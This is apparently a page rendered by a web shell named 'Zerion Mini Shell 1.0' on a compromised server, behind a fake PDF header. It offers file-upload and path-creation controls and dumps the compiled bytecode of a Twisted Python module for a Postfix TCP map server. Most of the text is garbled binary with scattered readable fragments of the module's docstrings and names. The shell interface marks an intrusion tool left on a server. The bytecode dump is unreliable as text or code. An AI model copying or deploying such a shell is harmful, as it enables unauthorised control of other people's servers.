%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/protocols/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/protocols/__pycache__/postfix.cpython-312.pyc

�

Ϫ�f��V�dZddlmZddlZddlmZddlmZmZddl	m
ZmZ
ddlmZmZddlmZmZdd	lmZd
�Z
d�ZGd�d
ej,ej.�Zesej2dk\r
eeeeeffZneZGd�deej:�ZGd�dej:�Zy)z1
Postfix mail transport agent related protocols.
�)�annotationsN)�UserDict)�
TYPE_CHECKING�Union)�quote�unquote)�defer�protocol)�basic�policies)�logc�^�t|�}t|t�r|jd�}|S�N�ascii)�_quote�
isinstance�str�encode��s�quoteds  �;/usr/lib/python3/dist-packages/twisted/protocols/postfix.pyrrs(��
�A�Y�F��&�#�����w�'���M�c�|�t|t�r|jd�}t|�}|j	d�Sr)r�bytes�decode�_unquoterrs  rrrs2���!�U��
�H�H�W���
�a�[�F��=�=��!�!rc�D�eZdZdZdZdZd�Zdd�Zd�Zd�Z	d�Z
d	�Zd
�Zy)
�PostfixTCPMapServera
    Postfix mail transport agent TCP map protocol implementation.

    Receive requests for data matching given key via lineReceived,
    asks it's factory for the data with self.factory.get(key), and
    returns the data to the requester. None means no entry found.

    You can use postfix's postmap to test the map service::

    /usr/sbin/postmap -q KEY tcp:localhost:4242

    iX�
c�:�|j|j�y�N)�
setTimeout�timeout)�selfs r�connectionMadez"PostfixTCPMapServer.connectionMade5s��������%rc�b�|jt|�jd�dz|z�y)z8
        Send an SMTP-like code with a message.
        r� N)�sendLinerr)r%�code�messages   r�sendCodezPostfixTCPMapServer.sendCode8s)��	
�
�
�c�$�i�&�&�w�/�$�6��@�Arc��|j�	|jdd�\}}	t|d|j	d�z�}	||�y#t$r|}d}Y�8wxYw#t
$rMt
tj�d�jd�}|jdd|zdz|z�YywxYw#t$r|jdd�YywxYw)N��do_r�sCommand s	 failed: sunknown command)�resetTimeout�split�
ValueError�getattrr�
BaseExceptionr�sys�exc_inforr,�AttributeError)r%�line�request�params�f�excInfos      r�lineReceivedz PostfixTCPMapServer.lineReceived>s�������	�"�j�j��q�1�O�G�V�		S���e�g�n�n�W�&=�=�>�A�
S��&�	���	��G��F�	��!�
S��c�l�l�n�Q�/�0�7�7��@���
�
�c�;��#8�<�#G�'�#Q�R�
S���	3��M�M�#�1�2�	3�s5�A�B<�A#�
A �A �#AB9�8B9�<C�Cc��|�|jdd�ytj|jj|�}|j|j|j�|jtj�y)Nr0s!Command 'get' takes 1 parameters.)r,r	�
maybeDeferred�factory�get�addCallbacks�_cbGot�_cbNot�
addErrbackr
�err)r%�key�ds   r�do_getzPostfixTCPMapServer.do_getPsX���;��M�M�#�C�D��#�#�D�L�L�$4�$4�c�:�A�
�N�N�4�;�;����4�
�L�L����!rc�f�|j�jd�}|jd|�y)Nrr0)�getErrorMessagerr,)r%�fail�msgs   rrEzPostfixTCPMapServer._cbNotXs)���"�"�$�+�+�G�4���
�
�c�3�rc�b�|�|jd�y|jdt|��y)N����)r,r)r%�values  rrDzPostfixTCPMapServer._cbGot\s%���=��M�M�#���M�M�#�u�U�|�,rc��|�|jdd�y	|jdd�\}}|jdd�y#t$r|jdd�YywxYw)Nr0s!Command 'put' takes 2 parameters.r.rPsput is not implemented yet.)r,r2r3)r%�keyAndValuerHrRs    r�do_putzPostfixTCPMapServer.do_putbsf�����M�M�#�C�D�
C�(�.�.�t�Q�7�
��U��
�
�c�#A�B���
I��
�
�c�#G�H�
I�s�?�A�AN)r)
�__name__�
__module__�__qualname__�__doc__r$�	delimiterr&r,r>rJrErDrU�rrrr$s9����G��I�&�B�S�$"� �-�	Crr)��	c��eZdZdZeZy)�PostfixTCPMapDictServerFactory�B
    An in-memory dictionary factory for PostfixTCPMapServer.
    N)rVrWrXrYrr
r[rrr_r_ts���#�Hrr_c�"�eZdZdZeZdd�Zd�Zy)�'PostfixTCPMapDeferringDictServerFactoryr`Nc�N�i|_|�|jj|�yyr")�data�update)r%rds  r�__init__z0PostfixTCPMapDeferringDictServerFactory.__init__�s&����	����I�I���T�"�rc�^�tj|jj|��Sr")r	�succeedrdrB)r%rHs  rrBz+PostfixTCPMapDeferringDictServerFactory.get�s���}�}�T�Y�Y�]�]�3�/�0�0rr")rVrWrXrYrr
rfrBr[rrrbrb|s���#�H�#�
1rrb) rY�
__future__rr6�collectionsr�typingrr�urllib.parserrrr�twisted.internetr	r
�twisted.protocolsrr�twisted.pythonr
�LineReceiver�TimeoutMixinr�version_inforr�_PostfixTCPMapDict�
ServerFactoryr_rbr[rr�<module>rus���
�#�
� �'�=�,�-��
�"�GC�%�,�,�h�.C�.C�GC�T�C�$�$��.�!�%��s�E�z�):�":�;��!��#�%7��9O�9O�#�
1�h�.D�.D�
1r

Zerion Mini Shell 1.0